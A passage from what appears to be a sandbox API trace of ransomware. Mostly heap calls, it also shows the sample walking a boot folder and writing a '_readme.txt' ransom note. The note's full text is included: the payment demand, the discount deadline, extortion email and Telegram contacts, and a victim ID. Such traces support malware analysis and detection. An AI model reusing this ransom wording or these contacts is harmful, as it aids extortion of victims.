(HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.519] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.519] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.520] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.520] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.521] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.521] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.522] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.522] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.522] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.522] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.522] PathFindFileNameW (pszPath="") returned="" [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.522] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.522] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.522] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.523] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.523] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.523] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0124.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.523] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0124.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.523] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.523] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.523] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.523] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.523] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.524] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.524] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.524] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.524] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.524] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.524] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.524] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.524] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.525] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.525] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 